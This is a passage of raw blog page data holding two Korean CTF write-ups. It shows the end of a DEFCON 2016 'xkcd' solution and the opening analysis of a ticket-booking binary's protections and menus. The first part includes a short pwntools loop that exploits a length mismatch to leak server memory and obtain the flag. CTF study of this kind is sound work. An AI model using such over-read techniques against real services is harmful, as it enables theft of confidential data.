punctuation\">(</span><span class=\"token string\">\"A\"</span><span class=\"token operator\">*</span><span class=\"token number\">512</span><span class=\"token punctuation\">,</span> <span class=\"token number\">512</span><span class=\"token operator\">+</span>i<span class=\"token punctuation\">)</span>\n    p<span class=\"token punctuation\">.</span>sendline<span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">)</span>    \n    <span class=\"token keyword\">print</span> p<span class=\"token punctuation\">.</span>recvline<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>strip<span class=\"token punctuation\">(</span><span class=\"token string\">\"A\"</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 708px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 28.333333333333332%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA0UlEQVQY03XM207DIAAAUH7EtetoC4VRLuXSAqOsasyyh2lisvis0fj/H2D8AJLzfEDIVxcu1r+4eFH2EdGZ60x4GNWq3FPTT/tOlYDllKY56CUYH5mcmh5jxjtyxIwTLqu238GuBPh01ksyPtmYhVkOiA7j1FE+jIoKXbe4gqgE+LRpvxqfbfxfIGKE654KwvVR2rolFRxKgIuzckY5oxcnrW56iBltB4QZoYLt4P7hUJeA7fk35q90/l63n5A+B/bGpzsT71zdpf7A9BWRW8kfe2ZCKeUkNAgAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./8.png\"\n        title=\"./8.png\"\n        src=\"/static/b547b166c5b8f537383938fe8538dfef/3cb0f/8.png\"\n        srcset=\"/static/b547b166c5b8f537383938fe8538dfef/e9ff0/8.png 180w,\n/static/b547b166c5b8f537383938fe8538dfef/f21e7/8.png 360w,\n/static/b547b166c5b8f537383938fe8538dfef/3cb0f/8.png 708w\"\n        sizes=\"(max-width: 708px) 100vw, 708px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<h2 id=\"flag\" style=\"position:relative;\"><a href=\"#flag\" aria-label=\"flag permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>flag</h2>\n<ul>\n<li>flag를 획득할 수 있다.</li>\n</ul>","frontmatter":{"date":"September 18, 2020","title":"DEFCON 2016 xkcd 취약점 분석","categories":"CTF","author":"Zer0Luck","emoji":"🧻"},"fields":{"slug":"/defcon2016_xkcd_ctf_writeup/"}},"prev":{"id":"54ffabc8-aba0-5165-9191-3fdf4a5888e2","html":"<h1 id=\"취약점-분석\" style=\"position:relative;\"><a href=\"#%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D\" aria-label=\"취약점 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>취약점 분석</h1>\n<h2 id=\"바이너리-개요\" style=\"position:relative;\"><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EA%B0%9C%EC%9A%94\" aria-label=\"바이너리 개요 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>바이너리 개요</h2>\n<h3 id=\"보호기법\" style=\"position:relative;\"><a href=\"#%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95\" aria-label=\"보호기법 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>보호기법</h3>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 645px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 21.666666666666668%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAdklEQVQI143ESw6CMBQF0C5EW/q5FBJ4AVt0QLEEsQzAgdH9r8W4ATE5OSz122OYexeG9dndFl05Qa2sWgnKUP/G5uUdxilDWTpqwsmg4NIKbYXZx6b0KmoSCsfRH+4dR841uMH3PSz69UohXpJ1UcKr/Kzsvz5nhCev0FcUIgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./0.png\"\n        title=\"./0.png\"\n        src=\"/static/3ad9f6d8757c468b784bc0531e827790/af192/0.png\"\n        srcset=\"/static/3ad9f6d8757c468b784bc0531e827790/e9ff0/0.png 180w,\n/static/3ad9f6d8757c468b784bc0531e827790/f21e7/0.png 360w,\n/static/3ad9f6d8757c468b784bc0531e827790/af192/0.png 645w\"\n        sizes=\"(max-width: 645px) 100vw, 645px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>security check</p>\n<ul>\n<li>CANARY</li>\n<li>NX</li>\n<li>PIE</li>\n<li>RELRO</li>\n</ul>\n<h3 id=\"바이너리-정보\" style=\"position:relative;\"><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EC%A0%95%EB%B3%B4\" aria-label=\"바이너리 정보 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>바이너리 정보</h3>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\">ELF <span class=\"token number\">64</span><span class=\"token operator\">-</span>bit LSB shared object\nx86<span class=\"token operator\">-</span><span class=\"token number\">64</span><span class=\"token punctuation\">,</span> version <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>SYSV<span class=\"token punctuation\">)</span>\ndynamically linked\ninterpreter <span class=\"token operator\">/</span>lib64<span class=\"token operator\">/</span>ld<span class=\"token operator\">-</span>linux<span class=\"token operator\">-</span>x86<span class=\"token operator\">-</span><span class=\"token number\">64.</span>so<span class=\"token punctuation\">.</span><span class=\"token number\">2</span>\n<span class=\"token keyword\">for</span> GNU<span class=\"token operator\">/</span>Linux <span class=\"token number\">3.2</span><span class=\"token number\">.0</span>\nBuildID<span class=\"token punctuation\">[</span>sha1<span class=\"token punctuation\">]</span><span class=\"token operator\">=</span><span class=\"token number\">842</span>cbd24d75c0dea40dc2e06f4996948eb59a897\nwith debug_info\nnot stripped</code></pre></div>\n<h2 id=\"바이너리-분석\" style=\"position:relative;\"><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EB%B6%84%EC%84%9D\" aria-label=\"바이너리 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>바이너리 분석</h2>\n<h3 id=\"바이너리-로직-흐름\" style=\"position:relative;\"><a href=\"#%EB%B0%94%EC%9D%B4%EB%84%88%EB%A6%AC-%EB%A1%9C%EC%A7%81-%ED%9D%90%EB%A6%84\" aria-label=\"바이너리 로직 흐름 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>바이너리 로직 흐름</h3>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 52.77777777777778%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA50lEQVQoz53Q30rDMByG4d6IXZs0SfPLvzVN2nRzU4NrFatueCQoeOD9X4PgkSJ0QXhPHz74slr1TAQCHZMD1xsq+or7ktrF2oJoJp8zAlJZT0BJ61XjEAPEYFXRxViOSwqHDNViH6fp8RTvZuMCAY1ruarqxXiOMYUpu386vX18vry+j/Nxe3Ow/QYzkYp12+3iOM7HOD2s/UDBYJa8XHFhu61svPGDcYGCJlznmCVhaZ2ynWy8MI6ARkyUFFKXje91G8TaVVydG/yDw+4afT90kSp/4SvEREF4svyBL+Nt2MeC/gd/AWm2aWTnRvbGAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./1.png\"\n        title=\"./1.png\"\n        src=\"/static/eda79c8e38a5358c7d87afa20cb89a69/37523/1.png\"\n        srcset=\"/static/eda79c8e38a5358c7d87afa20cb89a69/e9ff0/1.png 180w,\n/static/eda79c8e38a5358c7d87afa20cb89a69/f21e7/1.png 360w,\n/static/eda79c8e38a5358c7d87afa20cb89a69/37523/1.png 720w,\n/static/eda79c8e38a5358c7d87afa20cb89a69/cab8c/1.png 744w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>main output</p>\n<ul>\n<li>총 4개의 메뉴를 선택할 수 있는 선택창을 확인할 수 있으며 <code class=\"language-text\">Buy</code>, <code class=\"language-text\">View</code>, <code class=\"language-text\">Use</code>, <code class=\"language-text\">Exit</code> 메뉴가 존재한다.</li>\n</ul>\n<p><strong>Buy 메뉴</strong></p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 650px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 40%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABt0lEQVQoz2WJu3LTQABF9RN0tokk70paafWWbD0sy+tnTMzEQMgHQAkFMwx8CAUdNSUzNNBQ8h+gkhZ1yV5mlNi8ijP33HuV3f6lSLNLQa2NGKi1INZGGPZplzesBWW//YDB7837d7Kqevvm1ZOvn9+df/nwsfr0/pmy2DxGMV1hVMwxKudIshqEBRjoDCfE6bg7tDsO/bjpDCQv4W634PtzhC9eP1cqcYaiFkiyEvlUIEgzuFEKanM4QQwepbD9CJYbwE/G4GHSQRmHG6fwgkSapnPlOiHMwWSvTBf7Nq+W7bhctGW9afua1aqU/4VmuP9tRwy31Uz3p2b5oHz7UFltnzZ59aCJx7vGizcNZdNGN8tGpfkN5JbOs2PXaHHw7yrJv6mk+GHYj86UenmOcrZAUS9QzdfIJgLMDXFCTOimg6HlQDdtaIYNwvhx0yi7dd79hHmw+PpSqcR9mU+F9OKxjMalZF4keZhKw/akHSSSRyPp+Im03FB6SSadMJU8HEnT8bv04uza9uMrPyngR7sLZbbao5wtMRFr1MtT9NQheipBX6NdHvzP/s8veyq57qkUujG/+AXPAOjr+dyZrgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./2.png\"\n        title=\"./2.png\"\n        src=\"/static/146bf7c91637153ad5e82a2ff7d14466/a6d36/2.png\"\n        srcset=\"/static/146bf7c91637153ad5e82a2ff7d14466/e9ff0/2.png 180w,\n/static/146bf7c91637153ad5e82a2ff7d14466/f21e7/2.png 360w,\n/static/146bf7c91637153ad5e82a2ff7d14466/a6d36/2.png 650w\"\n        sizes=\"(max-width: 650px) 100vw, 650px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>Buy 메뉴</p>\n<ul>\n<li>두 가지 선택으로 <code class=\"language-text\">One ride ticket</code> , <code class=\"language-text\">One day ticket</code> 을 선택할 수 있으며, 입력 값은 <code class=\"language-text\">First name</code> , <code class=\"language-text\">Last name</code> 대입 되는 것으로 확인된다.</li>\n<li>두 번째 <code class=\"language-text\">One day tickey</code> 은 출력 문에 <code class=\"language-text\">3 meals, 1 safari pass, unlimited rides, 1 giftshop coupon</code> 옵션 값들이 기본 세팅되는 것으로 확인된다.</li>\n</ul>\n<p><strong>View 메뉴</strong></p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 264px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 101.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAE/0lEQVQ4yz2Ty4/bVBSHrzSINQv6mEnGieO8HDuJ40diO37b4zwnM5khybzaKbQlpd1UAtECRWHDGiF1g6pKCFW8yqISQmWFEBICIbFAIPhbGoN/KB7E4luce66O7rnnO4QpnpJ0pkOyzA5JZfqkWJkSvn5EWH5G2OoBYfkDwhZeImxwjXBPP65ojx9OlK8ejsQvH+xWP/9olH90f7/37eMnW0+/uE/evv48KbLX5llmNGeKL82p3M6crR7NudpJAl8/mfPCpTknXn6NT++dco8e/PXqbz/gzh8/443ff8I7f/4C//snOP3xW+x/9wQbn3w4Im54HW2nh7YzgOkOkC9LULQA2XwNaZpHOsuBYmrI0Dzo8S70xd1n+luvR869N6Pg3bvL+p3by/GTT59533z26wvv39kkw90by+729nI4Gi+bbXOp2+5SbOlLWTeXsqotNctZ1kRlybD8Upaa/5w/t46LFzfjCxfS8fnzqb9T6xSoxuSDr9cNkgUI8cJThINt9IZjiKoBrztAXdHh9UYIByMMxxNYXghB0WEFHZRrDbB1CeW6FFcEOSpwNXCVw3svFkqE6veeI4ZzAEnTILdt6LYHzfYTWqaDlukm56tYd3wohgPDC2H6IQy/E1tBNxKbGkrc9L31C2mSyZXWiN95BZ3BEMO9GXhBAifIOJ+ikKKL6O9OMD0+hen6OLdBIZXNoyIouHL9Fq7Nb8VtN4jYmgiWmy1Sm1mSybNrRNH24fgdjCcn4AUFbXcLfmcbgqzD9EJ4nW10h2Poloc0XUCaLiJX4kEXKzFTqUc1sYUyO12k0jTJ5itrRDP30HZNhIMhWqYBtxOiOxpBsyxYgQ+308FWvw833EJdkVGTJVQlEXyjETdUNarLEors3mI9nSYUk18jpnMbqnmMZvsSNOsydPsULeMEpvsyDOcK9BX2aYLpXYXln2H6V2M7uBZJrRmqwu0FU+qSEjdcI23nJvzOCezgGLZ3iGLFRVMfY5NWkco0sUEpoHIaMowOKqcjk28jw6zQ4wyjR3TBQFW4ucizDsmXnTViegfobQ/QH+1AUJrQbQt1WUnal/U2bN9HieNQ5HgUyiVsZDJI0/SKOE3TEcUwYPnpgmKYs5Y16wBBb4iwvwNJs+CGfTRaBsLhGF5niHCwi5bhQGm7UDQT5ZqYwNalmBOUKFuogOUPF5u5MsmshqLbM2iOA90JoNkedNuH0rYh6xbMoAM77Cd+KoaNpmHD6QwS2YP+KLb8MMqVOJS5g0UqWzjTpmVM0Nvdx/7sBDVRAS/IuLhJgy5yGIynmB2foqGo2MgwWKdoGF4Xl6/ewGBnL65JzYguVlDmDxYUUzorKCjbqAgCqlILNVlFo9VOENU26rKKiiCjKjVRFZtJXFdU1M7uxo2mHtFFNimYzhXPCqrGBH5vkEisWR4EWU0EzhbY5Mz0u3C2utCdLZhegEpdSvJMiY8NO4gy+XLyh/+/0HRPsL0/xXh6CNX0IDZ1rFM5ZAo8XL8Ly+siGO5iZ3IM291CpS7jQiqLck2Od/amEcWUUakeLSjmv6EY3gzd0WoTAgiKAklVUa5VwYkiTMeGqKpo+x7CwQBNfdWyglKVR6Olxlv9bqJNmZ8sUtksoRhmtXpz6M4EmjWD4R7B9FYcw/KPoTsHMLwjrExomdMkv4rt4ASGexhr1jQqcQH4+s0FXbRJvuyt/Qt/mWunZkZqCQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./3.png\"\n        title=\"./3.png\"\n        src=\"/static/85d60ee2d3878fda25668a68f5ec2c79/e61aa/3.png\"\n        srcset=\"/static/85d60ee2d3878fda25668a68f5ec2c79/e9ff0/3.png 180w,\n/static/85d60ee2d3878fda25668a68f5ec2c79/e61aa/3.png 264w\"\n        sizes=\"(max-width: 264px) 100vw, 264px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span>{: width=“60%” height=“60%“}</p>\n<p>View 메뉴</p>\n<p><strong>Use 메뉴</strong></p>\n<ul>\n<li>앞에서 입력한 <code class=\"language-text\">ticket</code> 들을 출력해주는 형식이며, 인덱스를 바탕으로 출력하는 것으로 보아 구조체 배열 구조임을 추측할 수 있다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 302px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 61.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAADU0lEQVQoz03Ry2/bBADHcR/4F4ApzdOxGztx/Igdv/OwHSdxnUfTKG3TroxKTAKJbYdqB6YhEKWIdRpooz0hcYMDFyROIKSdxmHHHZCvE5wQlrgQCajsH1qREIfP4fu7/ohS+Zh5NXPElMi7zJXMbUbRHjF1/mNGNc4Ywzq/pBlnjOae1+yXHuSkr7/6ZPH0+99vPXvy/NazH39ZPv3h+fDxN3++8eQ7ZL882yc67uGq441WentjZXXCVbkir5pmf1Us86sc+UJ9VaDEVZGWVrlsdVXZW8L77B5mD0+xe/4pggcfofXFI+w+/vaP7Of3e0QQHiKYTOD0AxitLiTVgGa3URVE1EQZvNwEzXKgWA68rCCbK6WZtWLySiafvJzJJ1cy+b+z6zWs2Qc3yldvEsR4861kONpM/I1pUhWUpOMHCSepiTscJ6PZdjKe7SS61Um4hpbodjfJFKmkuF5Ly0w9pdh6UqCZC5KuQ6y9dlgjhwQRTq9jMJlgtDmHpOroh1N0e32QdAUbsznC2RY0qwVRM2A6PcwXuxhOZ1A0E/5oiq3dJWzHhyjtX5f4kCCExpuR1NyLhMYy4hvLSDUPI0HeixhuK6oJ25Go7EWcsB1V+UWk6NciWT2I6uJOxNbnUV3aiQR5+VNN2PlZbLyzUxdvEMQgvBkH4904nL0eN41hLDW9uMrbcWm9GZcZNS5SclyilbhIK3GBkuNCuREX6f+23wpU49fSuvZXjb/2NsPNCcLxryIcj2E7HmSzBcUwYTsuvGAEPwjB1nk0VB1FuoIcSaFArf8PfSlfZsBw89s0OyCIbu8gtTrddLrYT1veIG2a7dTu9lJ3OEkH463U6Qep3nZT2+mnmtVJg8ksbVrd1HYHqdjUX/RFyxmCpCdH2UKLINruPhzPx3CygOOH6PSGEGQdjaaFAsWCrHDIkwyyZAVlhr/sHFlBgaqi9O/bFxQrguG2j2g2IIhufw9+4KPT89C0THgDHxTLwA0GsLstcJKAhq7CHfRhtm0IcgP98QhWp4VcMZ+ulfIXOZIEU9s8olmPIDTjFFb7QxjWMQz7GHb7BIr6LszWCaz2CVT9vcvN8U5hWh9AM95H270H0z6GJN9JJfnOhaTchao9PFLU+8Q/mO6DaPGxvM4AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./4.png\"\n        title=\"./4.png\"\n        src=\"/static/2d9d6d7a3cebd28808aa00d1593a9515/5f1d2/4.png\"\n        srcset=\"/static/2d9d6d7a3cebd28808aa00d1593a9515/e9ff0/4.png 180w,\n/static/2d9d6d7a3cebd28808aa00d1593a9515/5f1d2/4.png 302w\"\n        sizes=\"(max-width: 302px) 100vw, 302px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span>{: width=“60%” height=“60%“}</p>\n<p>Use 메뉴</p>\n<ul>\n<li>0 번째 인덱스를 선택한 결과 <code class=\"language-text\">Thank you Have a good time!</code> 문자열이 출력되지만 1 번째 인덱스 같은 경우 구조체 멤버들의 값을 설정할 수 있는 옵션을 추가적으로 할 수 있다.</li>\n<li>0 번째 인덱스 같은 경우 <code class=\"language-text\">Buy</code> 메뉴의 1 번째 옵션 <code class=\"language-text\">One ride ticket</code> 이다.</li>\n</ul>\n<h3 id=\"main-함수-분석\" style=\"position:relative;\"><a href=\"#main-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D\" aria-label=\"main 함수 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>main 함수 분석</h3>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 631px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 81.11111111111111%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABB0lEQVQoz5WSwW7DMAiG8/7vN62XKqpSLbWVOIkdsAFjT2m6w24xQsg+fMCvn+52Wx+PbRjCkc99GHZj8PWCd8VpiuMI1qIxaG00JlobETNiXhburE3zHCmpsJZSrweRdve7fn1Huy6kCQVCCpGolPrO8vf49z0jJe36Hp4/m90ccARGTz4S1QsrHLBzaZ4wRa1NS59wCLIsOr4kBCWWcrnHAQPkEKjvwVoG4LbJ3su26Thm51RE2+BlIe+TiDJzaZF9as6Ih2DvM4A0wwAyz7KuNQTOWdvgENgYJBJmJcptVjGXEDKRNPvsHE0TIB4t9p1VS6tVxbk6z3Jd8AeeplRraTzND/wLkHuuMIf6ThcAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./5.png\"\n        title=\"./5.png\"\n        src=\"/static/01e0266c7cd6d3ed46884f8328e782a4/4597d/5.png\"\n        srcset=\"/static/01e0266c7cd6d3ed46884f8328e782a4/e9ff0/5.png 180w,\n/static/01e0266c7cd6d3ed46884f8328e782a4/f21e7/5.png 360w,\n/static/01e0266c7cd6d3ed46884f8328e782a4/4597d/5.png 631w\"\n        sizes=\"(max-width: 631px) 100vw, 631px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>main 함수</p>\n<ul>\n<li>\n<p>메뉴와 관련된 함수들</p>\n<ul>\n<li>buy_ticket()</li>\n<li>view_ticket()</li>\n<li>use_ticket()</li>\n<li>exit()</li>\n</ul>\n</li>\n<li>\n<p>각각의 케이스 별로 선택하여 해당 함수들을 호출 할 수 있다.</p>\n</li>\n<li>\n<p>루프를 돌면서 <code class=\"language-text\">exit()</code> 함수를 바탕으로 종료되는 조건을 갖추고 있다.</p>\n</li>\n</ul>\n<h3 id=\"buy_ticket-함수-분석\" style=\"position:relative;\"><a href=\"#buy_ticket-%ED%95%A8%EC%88%98-%EB%B6%84%EC%84%9D\" aria-label=\"buy_ticket 함수 분석 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 